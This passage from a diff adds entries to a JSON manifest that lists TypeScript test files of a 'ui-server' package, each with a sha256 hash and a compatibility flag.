"packages/ui-server/tests/maintenance-cron-publication.test.ts":{"sha256":"f003534b61a3197ba1dbb3764a8cfb916d7b8574e7fe543fd739efb051cc58a9","compatible":true}, + "packages/ui-server/tests/maintenance-git-publication-scope.test.ts":{"sha256":"7ce0e86cf9dcd4429550505ca0b854bae214e58cc0e39fc18da641f9f3c3db99","compatible":true}, + "packages/ui-server/tests/maintenance-git-publication.test.ts":{"sha256":"96b7198abfe8cf849978cb26926a9491c4f7256c1ae1c5dd4c3f23b91369bbf1","compatible":true}, + "packages/ui-server/tests/maintenance-git-runtime-path.test.ts":{"sha256":"1564a87e8aa3a74e5dd65817eb09b9b2b36c6abf7751ffdeb52b076c520d9ecf","compatible":true}, + "packages/ui-server/tests/maintenance-git-source.test.ts":{"sha256":"755813862d895ea249221cce4d042d1ac1c7362446fa161515799c97cd9490f7","compatible":true}, + "packages/ui-server/tests/maintenance-git-space.test.ts":{"sha256":"1f6409b63b453062ef8456b9b2ce61b654dbcdb7f1ec5fc26d02c510acccefc8","compatible":true}, + "packages/ui-server/tests/maintenance-git-targets.test.ts":{"sha256":"0617123179838c59972d2a0dcd8479fe970935ee0da3cd9b0f49a223ff6328ff","compatible":false}, + "packages/ui-server/tests/maintenance-launch-release.test.ts":{"sha256":"f9217314edd0890466c202c83bc6e0d77af529249989bffb10989bdc63beed80","compatible":true}, + "packages/ui-server/tests/maintenance-module-github-relay.test.ts":{"sha256":"44679a159f6f96602a505478c3f3d3af0a14a0b8447bc41aebe2026c64d0b8a3","compatible":true}, + "packages/ui-server/tests/maintenance-probe-admission.test.ts":{"sha256":"787bf655a9ff8695a1915e67272943eb207fc66284cbe442af1a595d09d02405","compatible":true}, + "packages/ui-server/tests/maintenance-provider-relay.test.ts":{"sha256":"6a6c2e8348f42ab209f376b898c0f6944c68ff27b8d98aeaaebf0d299d0f6555","compatible":true}, + "packages/ui-server/tests/maintenance-startup-view.test.ts":{"sha256":"abd58aafee28ee73c8ecd299b3ce954b7f41c4cf9d048fde8a0166cdbd5417b0","compatible":true}, + "packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts":{"sha256":"7e754734fa020fbc65c313c6030b61ab5d4e30c53adb0cb32617c92fe60ac87a","compatible":true}, + "packages/ui-server/tests/maintenance-temp-boundary.test.ts":{"sha256":"c84c2469dccaa36b36827951eca9dae0e54c038eaae2a50c844fb587357393db","compatible":true}, + "packages/ui-server/tests/maintenance-temp-config.test.ts":{"sha256":"6494633c2afa966038c7b7117dcbd5b496b434e1c0bccebf48cf35b559733fe3","compatible":true}, + "packages/ui-server/tests/maintenance-temp-schedule.test.ts":{"sha256":"7f4bdf8ddda168c4ab20330481153a6eaddf740ec03874fc4ebf7c0b22349de8","compatible":true}, + "packages/ui-server/tests/maintenance-wire-compatibility.test.ts":{"sha256":"3b2f1bd8432c6b4c35beb21e1f5e9979eff20f45139d3855c68c79c6c66afbf9","compatible":true}, + "packages/ui-server/tests/markup-bridge.test.ts":{"sha256":"229a701eb962be1a73863142361f167291df297b6e9500b10c92b2e9f9ef2579","compatible":true}, + "packages/ui-server/tests/markup-route.test.ts":{"sha256":"dd4461bf9d4116f0626c908c28410d0b83a76054f967173896106fa262afd966","compatible":true}, + "packages/ui-server/tests/media-review-flow.test.ts":{"sha256":"514e02a0daab6ed1233813f2fcb09d084fc73a5b4bae80350cd8ed64d5d8a583","compatible":true}, + "packages/ui-server/tests/model-pricing.test.ts":{"sha256":"cca158f7132004689a62d8cce6165f5fe57508215d9388aca3435f984fb93712","compatible":true}, + "packages/ui-server/tests/models-routes.test.ts":{"sha256":"1055cae22d1076e345f75a130791b53894a0263b272e49d259c90f6758de7af1","compatible":true}, + "packages/ui-server/tests/module-github-relay.test.ts":{"sha256":"16bdf82ac03bae20e023067c89cc4a400693afc36f3e0dfb62bd580fd2382594","compatible":true}, + "packages/ui-server/tests/module-repositories.test.ts":{"sha256":"133e8e67012a06f2a36f583fa5f8f3a16f49aab06e8de9077bc9737c154b2512","compatible":true}, + "packages/ui-server/tests/module-settings-http.test.ts":{"sha256":"0920193b8c79aaea0206b13e7891520e8e9d08d9bed04a8c5067b34ef0fd91ec","compatible":true}, + "packages/ui-server/tests/native-app-fixture.test.ts":{"sha256":"387374fdb7871cea132ca719645dc2568ec013eec3eb22565ea1b6d0604995cc","compatible":true}, + "packages/ui-server/tests/native-brain-leases.test.ts":{"sha256":"6e442f5c990c521d542f00dd8a18417e47f75aad1c30fe4e4fb26a0de3eef303","compatible":false}, + "packages/ui-server/tests/native-history-removal.test.ts":{"sha256":"2f36612b82ac8a77b3ae53fd4257c2ef4fa2434ebbd40ed8779efa1c31652428","compatible":true}, + "packages/ui-server/tests/native-host-inputs.test.ts":{"sha256":"255644b92fcb51f49572e97743707e0aeed93faa832f9a7dbcc84da77d674cf1","compatible":true}, + "packages/ui-server/tests/native-journal-fixture.test.ts":{"sha256":"95e14ded6f75d71cbfc75420417b2b1b158bdbbd5e0e79f46f9a535e19b2e027","compatible":true}, + "packages/ui-server/tests/native-journal-observer.test.ts":{"sha256":"039161ea0bb43dae0b946be214b4ef2dcf26380b5fba532777657c77d1467f65","compatible":true}, + "packages/ui-server/tests/native-journal-policy.test.ts":{"sha256":"bf35aab0f1bdf94bf6415bf602edcca8141aaa50d53b6dd4fcd5a53eaec8e75c","compatible":true}, + "packages/ui-server/tests/native-journal-private-batch.test.ts":{"sha256":"4e9c513b2df101140e7bea3ace820036c9eebabf32f72306f1399dffb66bca2a","compatible":false}, + "packages/ui-server/tests/native-journal-read.test.ts":{"sha256":"43fd004c05f8b2b11aaaf4f7903249d42c8ddb279e142aa6b4e14dbc1bcde088","compatible":true}, + "packages/ui-server/tests/native-journal-steering.test.ts":{"sha256":"7f5605b52462a86115a5407e327a971b6bc8d1517a01100464fc2da7435b755c","compatible":true}, + "packages/ui-server/tests/native-startup-releases.test.ts":{"sha256":"599842dcf17665e93535d898aa06d507bc56e2912ac08b4dcdbc9c8dc1ca44e2","compatible":true}, + "packages/ui-server/tests/native-suite-fixture.test.ts":{"sha256":"022b8c916754efcd11728298652461280ca537e3580ce215a40df97296b6a7b6","compatible":true}, + "packages/ui-server/tests/native-worker-startup-order.test.ts":{"sha256":"534a6f9ecd6cdb584a23c56b5aa4215c61e7315b575d590ecacf12eeafcf62b9","compatible":true}, + "packages/ui-server/tests/no-console.test.ts":{"sha256":"1c44b89a5a4f2cd47473195eb6d3992649ba888af2be4390a7228640e43600f4","compatible":true}, + "packages/ui-server/tests/notify-offloop.test.ts":{"sha256":"d3464c9fd4422f27986c780b78a6fd59529c62671a48183515c64ea7cd963b9c","compatible":true}, + "packages/ui-server/tests/observability.test.ts":{"sha256":"ba8553205702c5a083e2327fedee3ec6ae0120644b975e84747df8353ace9cb4","compatible":true}, + "packages/ui-server/tests/observation-holds.test.ts":{"sha256":"4f0f6765560d0e4d8eebf77c3ed49984f4521b9d7ec88c224ac25042989eaf33","compatible":true}, + "packages/ui-server/tests/operational-state-layout.test.ts":{"sha256":"adb9183842148f85436677a8e42c5dd48a4bf8ebb3b348557c3bd4ce3a74afc3","compatible":true}, + "packages/ui-server/tests/origin-policy.test.ts":{"sha256":"0db403e81fc85248e7f2ba368dcfdf7d9f7678153a5f3b9a770130b9289966a5","compatible":true}, + "packages/ui-server/tests/origin-trust.test.ts":{"sha256":"b6f1321c7f3631928adcdc69ea939b6e545dc64868c7a0a8a0cc47a7dcd7942b","compatible":true}, + "packages/ui-server/tests/outward-governance.test.ts":{"sha256":"cc10bf273193ed58f77f91d86ff163b851edcbe72c3d0306823cff54920b26d8","compatible":true}, + "packages/ui-server/tests/owner-safety-review.test.ts":{"sha256":"8cbd6bb2d426051b1bc8815cabb67edecca0ed8290c3ae8ea53051af052f6c38","compatible":true}, + "packages/ui-server/tests/passkeys.test.ts":{"sha256":"f5b865ff40173ed44271a5e037ef2dd0fa142947b06636bb3d68463696578eae","compatible":true}, + "packages/ui-server/tests/pi-auth-real-package.test.ts":{"sha256":"78f4f36a82356d8baa069bf4bd3abe2ffe047a3b83d293702927ad4919deaee1","compatible":true}, + "packages/ui-server/tests/pi-auth-routes.test.ts":{"sha256":"f98562e8f45f009b3740166f36201c0f6e0c5cee879f55f5a7a3454f307ed20d","compatible":true}, + "packages/ui-server/tests/pi-strict-edit-host-apply.test.ts":{"sha256":"7e7552b80ac789fad07e63029612efd0cc0c15d46b0165c64561ee20ccc7945e","compatible":true}, + "packages/ui-server/tests/pill-label-runs.test.ts":{"sha256":"b0a59a8b35e61928b88a011287da9699389fcc6d82926cd1ea454564d39edb6a","compatible":true}, + "packages/ui-server/tests/pill-labeller.test.ts":{"sha256":"fc4559c7dd750f0d717c7f35551d673c0e758cf8d020c9b55c65b4c6a5c2b478","compatible":true}, + "packages/ui-server/tests/policy-command-governance.test.ts":{"sha256":"333637d8722a772b1d6d0c7bd25a1e4b6acb1dcb5ce4015b93e12dbb7b2fa5b0","compatible":true}, + "packages/ui-server/tests/policy-observation-pause.test.ts":{"sha256":"0a3f74d2e092e3fc3e270757f9955b3c682e622b2ec605c75e786abed6c3dd9c","compatible":true}, + "packages/ui-server/tests/policy-proposal-read.test.ts":{"sha256":"1055379ea7563075f33d42228fbfc0302b98ec27a01cf64922a4ac10f27de949","compatible":true}, + "packages/ui-server/tests/policy-proposal.test.ts":{"sha256":"4797515421da534a712e70018c6122b8fbe838de5029ad10093d6b1ab96a7d19","compatible":true}, + "packages/ui-server/tests/principal-routes.test.ts":{"sha256":"729f7be442bfd3729de721816786586d09a9345cf27cd0ddc13650e86677d32c","compatible":true}, + "packages/ui-server/tests/principal-writes-offloop.test.ts":{"sha256":"eb0ed5873545270ac6b4b5abe69394fb0560381c009a1f88729ad40c66dab85c","compatible":true}, + "packages/ui-server/tests/principals.test.ts":{"sha256":"2b089a354291d21c48c90776b279894ad5d14a1dd622c8c8c874f95e774510e2","compatible":true}, + "packages/ui-server/tests/private-index-cache.test.ts":{"sha256":"1a9f8c7af0215ebb83e90c6c7e7f17b0bc620b47e1a93b392c6c72588447e587","compatible":true}, + "packages/ui-server/tests/private-index-stdio-release.test.ts":{"sha256":"00aa572d867fa089da00c07c1b9993b750076c3c4de1bceb1b182457c1a0ae84","compatible":true}, + "packages/ui-server/tests/private-index.test.ts":{"sha256":"b4379dae5f7226bb70c3985bc518e47b5dfbe603ac36276b2e550aaf28928a20","compatible":true}, + "packages/ui-server/tests/protected-host-writers.test.ts":{"sha256":"1ca3f979df24f897fb04f95e879066c1f762e62c5215a3b6c923d45ceced708c","compatible":true}, + "packages/ui-server/tests/provider-allowed-route.test.ts":{"sha256":"d60ccac00b004e01be0133edde40a083cc3fa458bbf5cb5b3eea55d23301e021","compatible":true}, + "packages/ui-server/tests/provider-continuation-state.test.ts":{"sha256":"5cdff6bac7e9e55f26b1632c2df7fd9925bf910b1b2eec1ef190e25c392ba4d4","compatible":true}, + "packages/ui-server/tests/provider-continuation.test.ts":{"sha256":"d4d9ee6f5bf2e7b747822b4057f640a6c8791f4e1b3b45131cd1b4cd8d7608e6","compatible":true}, + "packages/ui-server/tests/provider-hardlinks.test.ts":{"sha256":"89411cc37ef2e774e9e42dd1bd36aa639f7183a13b40f71e7bedfaf2921c649a","compatible":true}, + "packages/ui-server/tests/provider-mask-bridge.test.ts":{"sha256":"2008b3ffcd1d453f40c6d490174dae2439dd385118f5b9b4b827546eac26626b","compatible":true}, + "packages/ui-server/tests/provider-mask-refusal.test.ts":{"sha256":"4355a5a1c4b167be3c13b681a305162a8a3104934e308a0bcce119f0dac60faf","compatible":true}, + "packages/ui-server/tests/provider-recipient-session.test.ts":{"sha256":"9f846be7a950753ccb9902175a048d6d14298ed4eb22e4b7af4f88cb19e8afe2","compatible":true}, + "packages/ui-server/tests/provider-recipients.test.ts":{"sha256":"0d58dc5868a6022560f2d759fbeb98aac9431b9b411fdaf8f74c1e66badeb171","compatible":true}, + "packages/ui-server/tests/provider-relay-budgets.test.ts":{"sha256":"371a284751bd872f9acd5a427ad5e61ee27f33266cc9fda78adfb32b66f9886e","compatible":true}, + "packages/ui-server/tests/provider-relay-taint.test.ts":{"sha256":"64a6ee6f41b3c5e6e40e20f457d6f60a34e71458011b691352b5f6868fd2ffa1","compatible":true}, + "packages/ui-server/tests/provider-types.test.ts":{"sha256":"5387576f32d6dea45ea2338fbb910181edd29aba0c6b5171ee77621972ae2f62","compatible":true}, + "packages/ui-server/tests/provider-unavailable.test.ts":{"sha256":"a2f9defd94d9bd66c31187b399d73de9396a9f7783529d08de70b7dbc48cd8be","compatible":true}, + "packages/ui-server/tests/push-drain.test.ts":{"sha256":"74a1a751b802cad27628a170cf4d5f50b3477f89a2b171c4fd4b3b3fd70b2aae","compatible":true}, + "packages/ui-server/tests/push.test.ts":{"sha256":"e90967b91d7c5ee17314e37a40c52d158b3afa6a63facb4b84f619cde104d9c1","compatible":true}, + "packages/ui-server/tests/qualified-identity-helper.test.ts":{"sha256":"4b255098284f4c7fd321bfb9037c047355842c7d3e5eb8a198f3b97095f82789","compatible":true}, + "packages/ui-server/tests/reference-blob.test.ts":{"sha256":"bcf9ef3f4e15749148294925cc663cf5d08c128681494e5eab7a406e145a8b04","compatible":true}, + "packages/ui-server/tests/reference-egress.test.ts":{"sha256":"faaa39f19530eb5ee1427feb63d3ae12ecb56e84ec2a1a553e4557db37546e91","compatible":true}, + "packages/ui-server/tests/reference-grants.test.ts":{"sha256":"d06a63ff44aecf1dcd491b058edd1389eaafd02e830d6490f3ab9d34f7e54edd","compatible":true}, + "packages/ui-server/tests/reference-maintenance-admission.test.ts":{"sha256":"f4202d205b34950d1f83ab71eb36ccf96efb93b746362517017fa58fb678903e","compatible":true}, + "packages/ui-server/tests/reference-owner-lifecycle.test.ts":{"sha256":"6ff9c7895b3dbd4f613c3319caa6ad8649433adcec96d4482ca17cb83d6f7eec","compatible":true}, + "packages/ui-server/tests/reference-owner-native-root.test.ts":{"sha256":"24bc236b6082900417cdf168a6cd7c72d719978134ea19973c0033a90cc39693","compatible":true}, + "packages/ui-server/tests/reference-owner-resolution.test.ts":{"sha256":"07f96d5af9e1aff0d5f67850b86b59ea2ddc2322c8fbd969d17e7b927846e841","compatible":true}, + "packages/ui-server/tests/reference-read.test.ts":{"sha256":"a234e843d7336811857ac1bf7dd08f7a90d31f4d896bcad9f66f5f5897b4644f","compatible":true}, + "packages/ui-server/tests/reference-ref-validation.test.ts":{"sha256":"c73ecb3af0664629d989ab825c7f73489e82a9790893496164fe88d51e4b1ebc","compatible":true}, + "packages/ui-server/tests/reference-source-authority.test.ts":{"sha256":"0eead147267136fd11ab003cf062d0d9bd3582284a58a2f3bc8ab1b3880ae9c6","compatible":true}, + "packages/ui-server/tests/reference-source-managed.test.ts":{"sha256":"ba426532423db7d5c881406f0ab91206508358dd157511a63226eb7269d11435","compatible":true}, + "packages/ui-server/tests/reference-source.test.ts":{"sha256":"95fcd58c7cd378316797c6d5f99e63c5a53708c0037144b1dc78b1bbf3c02fa8","compatible":true}, + "packages/ui-server/tests/reference-tools.test.ts":{"sha256":"bd3eaffd93a1232a02d577a1e5a672876736662a7957d83ce1b722ca1f984753","compatible":true}, + "packages/ui-server/tests/reference-transport.test.ts":{"sha256":"ad11428842783beddeae02fafeecb23f2eef8996ed36ff805ceaf346dc24d48d","compatible":true}, + "packages/ui-server/tests/reference-wire-binding.test.ts":{"sha256":"6615b162ef42da42aaeb7a93964ca6f5345715342ce65687dba9497995878422","compatible":true}, + "packages/ui-server/tests/reference-worktree-hygiene.test.ts":{"sha256":"f6239f3fd41147eb24f92c4d1d54ab992faa9d6f9ee591126a2c67afa4f2f1dd","compatible":true}, + "packages/ui-server/tests/reference-worktree-journal.test.ts":{"sha256":"c31a9b011bef57db0aab1b33bdb8162d4a5c56309b0ed2fb67d628af8ccda173","compatible":true}, + "packages/ui-server/tests/reference-worktrees.test.ts":{"sha256":"df3731d455d690ca51db56cd36b6940cd9feff1548466502db25858155af39fd","compatible":true}, + "packages/ui-server/tests/reference-writes-offloop.test.ts":{"sha256":"7cadf8e4c41c94940d455b2b18bee9a1c1a1512c1d78146bffc1d52bd6412df8","compatible":true}, + "packages/ui-server/tests/relay-recording-settlement.test.ts":{"sha256":"e2397f7f00ad8d24c74fdabb63ce0315f41ce97cad0cab149c79cb7155160491","compatible":true}, + "packages/ui-server/tests/relay-session-binding.test.ts":{"sha256":"2cd8ccf1682f522a3ed52a3cf39936de543e0bb0cdb991191952966dace89149","compatible":true}, + "packages/ui-server/tests/render-routes.test.ts":{"sha256":"b784a8e08fbdf247970e7fec3b9d39090f821699fc420a7e74984966e68ff5b2","compatible":true}, + "packages/ui-server/tests/renderer-bootstrap-contract.test.ts":{"sha256":"4d37bd78e1831f27cdc4a83863d41177949934297ca8351fbb6ef8e4aabf46da","compatible":true}, + "packages/ui-server/tests/resource-limit-governance.test.ts":{"sha256":"4e376c6573ada308a04b9c2825769d6140c00dee396d40738449979da48c09b5","compatible":true}, + "packages/ui-server/tests/retry-proposal-offloop.test.ts":{"sha256":"a22fadbf23c0c165f52da89d2c2ce0f95e396ebb2074eda4b6d8e86705599827","compatible":true}, + "packages/ui-server/tests/revert-files.test.ts":{"sha256":"9797f8363909cae393943b9f171f60ddbabc6801d345c43c8a9d75ca92833640","compatible":true}, + "packages/ui-server/tests/revert-gate.test.ts":{"sha256":"b5d1b9d7df08c9b869aa5ce4ae0d864f266ac9f4ce6cbdf118e43920613975fa","compatible":true}, + "packages/ui-server/tests/routes-activity.test.ts":{"sha256":"afd2d27b28682e24d12349a47d66459d9fbdf93ce653e7bf7ebca4b7cca248cc","compatible":true}, + "packages/ui-server/tests/run-session.test.ts":{"sha256":"b6d4edbcc758d532b1b6204c2970ce704571ec7b57a29cce0c005b4995887e6f","compatible":true}, + "packages/ui-server/tests/runtime-boot.test.ts":{"sha256":"080dd143993e6942ab98798e8b8d5846a27cc9fa427d6e36339e7aad1303ae0f","compatible":true}, + "packages/ui-server/tests/runtime-record.test.ts":{"sha256":"4417b1fccb119bcddbbf140b42783dd020c521418f15640dc6ab79e2883b0062","compatible":true}, + "packages/ui-server/tests/safety-account-partition.test.ts":{"sha256":"afcb0f7f308dc7f6fd909013aa70afbeffa9a7e9b9896d6c13bb058fedafb74a","compatible":true}, + "packages/ui-server/tests/safety-containment.test.ts":{"sha256":"1ce6d1df6e59f0ac6d739541db75f1760125abf4b74db93b18dc985ae0240c61","compatible":true}, + "packages/ui-server/tests/safety-entry-correlation.test.ts":{"sha256":"b6789aff267b9c86c119c14de7f1e7b1d2eb4ead165f16efcf7d12f51ee6120e","compatible":true}, + "packages/ui-server/tests/safety-history-loss.test.ts":{"sha256":"9b771430af793b8ec7cf063818abc21717ef4acf11158f95fb9e31f7afa3e44d","compatible":true}, + "packages/ui-server/tests/safety-history-review.test.ts":{"sha256":"69e9099802c13369de5144f229836618caa4fd71b2b1aa95d0138436361a5049","compatible":true}, + "packages/ui-server/tests/safety-history.test.ts":{"sha256":"42a9d05bd906fdc2252d1b7dd38728c560e104385ed7cee2bb1b85d77ce736de","compatible":true}, + "packages/ui-server/tests/safety-ledger.test.ts":{"sha256":"8b565dff861364f34054ad31fcf7bc0fac36b21e7614bfd2eb2a60fbf9a1eb7c","compatible":true}, + "packages/ui-server/tests/safety-loss-recovery.test.ts":{"sha256":"b447d7abc7344269b259bd6dcc2b2d790399e04ea43ba9c24de518d34650f4ea","compatible":true}, + "packages/ui-server/tests/safety-native-delivery.test.ts":{"sha256":"45dff34ccfab4f84689dbd4c1d7a23706bc95a917464b20dc25e2b76a5d096ab","compatible":true}, + "packages/ui-server/tests/safety-occurrences.test.ts":{"sha256":"6f10082874cc8533410e4ea7fc78ed3466126ab36e18c856762e5bad4066eaf6","compatible":true}, + "packages/ui-server/tests/safety-pi-acquisition.test.ts":{"sha256":"5b741c13f2addb581c4e5096d1ec1d23366c6fb7cbe250e2ed72bf80a356c0c7","compatible":true}, + "packages/ui-server/tests/safety-pi-delivery.test.ts":{"sha256":"6fe475139c47748114d20939b0bf3b9992924e18a4363f3430f160d0a275dcc4","compatible":true}, + "packages/ui-server/tests/safety-proxy-exposures.test.ts":{"sha256":"4ba7df76ef1816a0c8c2c69d44bccb313c6c076c35ad1636f54437a265c1ff99","compatible":true}, + "packages/ui-server/tests/safety-recovery-journey.test.ts":{"sha256":"981f33449a9bb659b7c3b1c71953fcafa1129548119f71e129e94ac01af8080e","compatible":true}, + "packages/ui-server/tests/safety-result-exits.test.ts":{"sha256":"04546369f813ec2efa7f3d864acc92fa733b3f06fc30aa3d5102ad1be3a5b65f","compatible":true}, + "packages/ui-server/tests/safety-result-retention.test.ts":{"sha256":"17f07b5e766ee8c2dd110c21e4aeb4e2d70ed1ad852c009ac629e5dad7456196","compatible":true}, + "packages/ui-server/tests/safety-reviews.test.ts":{"sha256":"745df6d9d4ab55b02a71db47a57c8d84b5b434650555cdaff919b74051f8cae4","compatible":true}, + "packages/ui-server/tests/saved-transcription.test.ts":{"sha256":"3bd64080391132b8c4b0d8c67b7bc2b72d0ce59c99e4e194358942534eafeeb1","compatible":true}, + "packages/ui-server/tests/schedule-admission.test.ts":{"sha256":"dae39b523e3f36037b7e30fa9b6f6e53afb901e2db76eca48f59480f26241dce","compatible":true}, + "packages/ui-server/tests/schedule-cli.test.ts":{"sha256":"90544ccc4a43d3beb9d82229f666116c2ec3cf235937a8b5cba5629f79595b83","compatible":true}, + "packages/ui-server/tests/schedule-definition.test.ts":{"sha256":"d90458f1aebe91f3c3056c73f987fb6ceb62dba87901e0bc24a3abdb1c966983","compatible":true}, + "packages/ui-server/tests/schedule-ignore-admission.test.ts":{"sha256":"da3c971b05aac0b3fa65440e60196d0f593c49b8af55a12c4d5e359bba687ddc","compatible":true}, + "packages/ui-server/tests/schedule-recovery.test.ts":{"sha256":"b575cddd17725446dccba55710122a8fad5bb964cc1c09f77ae2f98e272efe54","compatible":true}, + "packages/ui-server/tests/schedule-service.test.ts":{"sha256":"a05534df1b5c1087e3145ce685b1fdcbdc408dc33f9936309e7bd29994070a06","compatible":true}, + "packages/ui-server/tests/schedule-time.test.ts":{"sha256":"b3c5319047611abc14fdd49b67f54a96b89d0653699cdd3fc9e2c9b97c46d178","compatible":true}, + "packages/ui-server/tests/schedule-writes-offloop.test.ts":{"sha256":"0f878981d54de3b841c07dc0e2888b0c6fd3d75ab6d04cd0d2cc4d24498a1eff","compatible":true}, + "packages/ui-server/tests/scratch-mask-query.test.ts":{"sha256":"b50152412677861231fcd8c05e8c3600ee52a02ec8e4f1dfb2cb84d632e6abf4","compatible":true}, + "packages/ui-server/tests/scratch-pins.test.ts":{"sha256":"1f8fb62f5f72d6f003002b1f919e1c096f11f954390fdf83949d16f4429e40f8","compatible":true}, + "packages/ui-server/tests/selectable-dictation.test.ts":{"sha256":"6c4ba61e65f3867bc5c9eb7bcdf2909abc253326775a710cdc9a017ccdba49ca","compatible":true}, + "packages/ui-server/tests/session-cookie.test.ts":{"sha256":"c6b636a4ff46586c338cb54c813e5b42b59da80e1633afd3b3d5c5d9ffb059d4","compatible":true}, + "packages/ui-server/tests/session-cost-persistence.test.ts":{"sha256":"14a21eaf8bab71dd4b3a99d488fe7220dbbe9c39f19501381fed4ae1ffd42080","compatible":true}, + "packages/ui-server/tests/session-history.test.ts":{"sha256":"d56c05d4eb389f7be065b802149ea0c00e0832f82b02cff3c8c3238aded15fb8","compatible":true}, + "packages/ui-server/tests/session-recovery-http.test.ts":{"sha256":"4b9855f7b5cf7c71c66e6000f7c63ab26dbb10fb420b5785a5754254d5c4e1d6","compatible":true}, + "packages/ui-server/tests/session-routes-handoff.test.ts":{"sha256":"05f27211c1fcad8f1915eeda1c741431482537f20791286b7254772bd43a3848","compatible":true}, + "packages/ui-server/tests/session-routes-multi-backend.test.ts":{"sha256":"014ee57d20068aa607be9efee47c367e34b3703cda015a8c9c0943a1a93bb38e","compatible":true}, + "packages/ui-server/tests/session-run-stages.test.ts":{"sha256":"ff03426f111890ba8059737ae752e30e5143671135823b2427e43587e283320a","compatible":true}, + "packages/ui-server/tests/session-safety-boundaries.test.ts":{"sha256":"e70863b0f8a87c84e5bf8e7a891f681082af5a393f5aa0f2ecdad74f84a4ae6a","compatible":true}, + "packages/ui-server/tests/session-start-reliability.test.ts":{"sha256":"24d9211e244ee49e0a1bf6d64734bf0a612827ed9dbe73970805ec978c211c1c","compatible":true}, + "packages/ui-server/tests/session-taint.test.ts":{"sha256":"d793939caa6773d88d6ae12dc5b3df96f66b8bf6503404795ab9a14cf27eac6c","compatible":true}, + "packages/ui-server/tests/sessions-epoch.test.ts":{"sha256":"647ca936fc246ba0368a74d24546eb3b71885274d823086b6aba94a23bfc8141","compatible":true}, + "packages/ui-server/tests/share-links.test.ts":{"sha256":"4d7081a22b1794305d0d185fb81b7df529680083f549380057d2a189a6c4d17e","compatible":true}, + "packages/ui-server/tests/share-routes.test.ts":{"sha256":"bf054ff7e51489c1cec053ee8c89adf7c73b31d14306bfcb79db85b153fed9d9","compatible":true}, + "packages/ui-server/tests/share-staging-protection.test.ts":{"sha256":"7a201c30ad30ce555a3431c3812073466be12161c27c88ef0739919c1f72eb30","compatible":true}, + "packages/ui-server/tests/shell-taint-proxy.test.ts":{"sha256":"099bbf90b1674d6824b1c22d42b821ee9dbc0071a37d37b5f3916893478c08ee","compatible":true}, + "packages/ui-server/tests/shrink.test.ts":{"sha256":"6047d98933cb23c78a7dfacaefa19bbf8bdaee5b62529ac946e084abb494986c","compatible":true}, + "packages/ui-server/tests/skills-install.test.ts":{"sha256":"51604676771ce3c6e0c329e7b9d0e712564ce5845d9f5f8c1ab1b6ae370de2ac","compatible":true}, + "packages/ui-server/tests/skills-routes.test.ts":{"sha256":"8f6bad8af89c4811be66e98b39ac907d60a4e33c5f2bf7f8ae64368f8be7e86d","compatible":true}, + "packages/ui-server/tests/software-status.test.ts":{"sha256":"bb2f919b2290040e1f3eb7a10e1456bc554f3c2fa6fd5dc073f4ff8df7452aad","compatible":true}, + "packages/ui-server/tests/speech-provider-conformance.test.ts":{"sha256":"1ef252e93489b100199faab5a95dc7d08af3795a36267ec5ffbe94bdfa3d3968","compatible":true}, + "packages/ui-server/tests/sqlite-cleanup-owner-deadline.test.ts":{"sha256":"8239a6dabd44b7d9c22e24b93538668c359944ae35c9b065dcfbb59e9b6bd136","compatible":true}, + "packages/ui-server/tests/staging-fs.test.ts":{"sha256":"de8791c098616c83c9680d2e6593af4e6c08b4973963dc19f29028da04da41f9","compatible":true}, + "packages/ui-server/tests/staging-no-follow.test.ts":{"sha256":"77ba7f6a92f8e80635b8c88c00f96f3ac28a6045e8f1e1b363185c41312126d8","compatible":true}, + "packages/ui-server/tests/state-room-warning.test.ts":{"sha256":"fd7d7f45e7a38b9a27fe2bb29730749fab3da6e5ceb624db953c47ae5e8ecf70","compatible":true}, + "packages/ui-server/tests/storage-collection.test.ts":{"sha256":"b9f9cf6d491dc9a9bb0742981d69c1dbe4373dbf1cdf75530516f367ad3918a6","compatible":true}, + "packages/ui-server/tests/storage-guidance.test.ts":{"sha256":"60c42a1b1d4555289d9a3e62068932ab8f8455338b549dc963902ce67e312bba","compatible":true}, + "packages/ui-server/tests/storage-history-model.test.ts":{"sha256":"3fbe1a2b686f99f96301e89c8d56a81465838b8e0f53cb19d665d40d7722efc8","compatible":true}, + "packages/ui-server/tests/storage-history-store.test.ts":{"sha256":"8e75acb17f909cf072e1e2deb7e24d634211bb047515fa0045dd13e784948616","compatible":true}, + "packages/ui-server/tests/storage-maintenance-owners.test.ts":{"sha256":"2c78268e63c105f9f58e3b47489d40706f7bbf4092d188bd1336999e725e2559","compatible":true}, + "packages/ui-server/tests/storage-maintenance-routes.test.ts":{"sha256":"6b159cb2cbc5af83660a69f580639063857a16cbdfe2bc187a62b98ea22359a7","compatible":true}, + "packages/ui-server/tests/storage-maintenance.test.ts":{"sha256":"76df0fbf160c11af80f129e878b5fac379d11b4d16d439a1d107d0877696ad62","compatible":true}, + "packages/ui-server/tests/storage-metadata.test.ts":{"sha256":"80dc3546065bfbdcaf1b9fb44c6cc966bb78bb1377ff49b4eb51f196acf04733","compatible":true}, + "packages/ui-server/tests/storage-notify.test.ts":{"sha256":"34a9e1997ea094718c0b1358857f1adf3977d3d1bcc9557b4af25be01283d064","compatible":true}, + "packages/ui-server/tests/storage-offloop.test.ts":{"sha256":"bfa2f6027bbdbb1c18e9ed50237721c669c8f11bcc6b0e5d40385b5ecf2b704d","compatible":true}, + "packages/ui-server/tests/storage-pressure.test.ts":{"sha256":"eccbf3a115e9c7753fa44df0caadb4b92591500d780952679ac082be1c7fa39f","compatible":true}, + "packages/ui-server/tests/storage-removal-journal.test.ts":{"sha256":"775962dd29fd69f6fd06fad9d460d068f5de652c324f628ec911c3c680d8bf45","compatible":true}, + "packages/ui-server/tests/storage-removal-recovery.test.ts":{"sha256":"e46663648927045c320a3e9835e5cf42eb8ec22cfc59d18bdb5411916e3861d0","compatible":true}, + "packages/ui-server/tests/storage-removal-routes.test.ts":{"sha256":"ff5ce6927298c2de493d4b57d39fe9bdf6f3f3fe19e13acd0e428b68033f754b","compatible":true}, + "packages/ui-server/tests/storage-removal-space.test.ts":{"sha256":"cf03a651ba0d2ae38721bdea6e294545adc8e035ac94566e1f2beba6b3e2859e","compatible":true}, + "packages/ui-server/tests/storage-removal-worker.test.ts":{"sha256":"ad09bb6000567abd01ff45d321bccecf3d08c4abacf0e7fa321cb983d375663c","compatible":true}, + "packages/ui-server/tests/storage-removal.test.ts":{"sha256":"89cb031691b1f85d81689fc98c7278143a72c3b5458264ed2989f41dc3f4e17b","compatible":true}, + 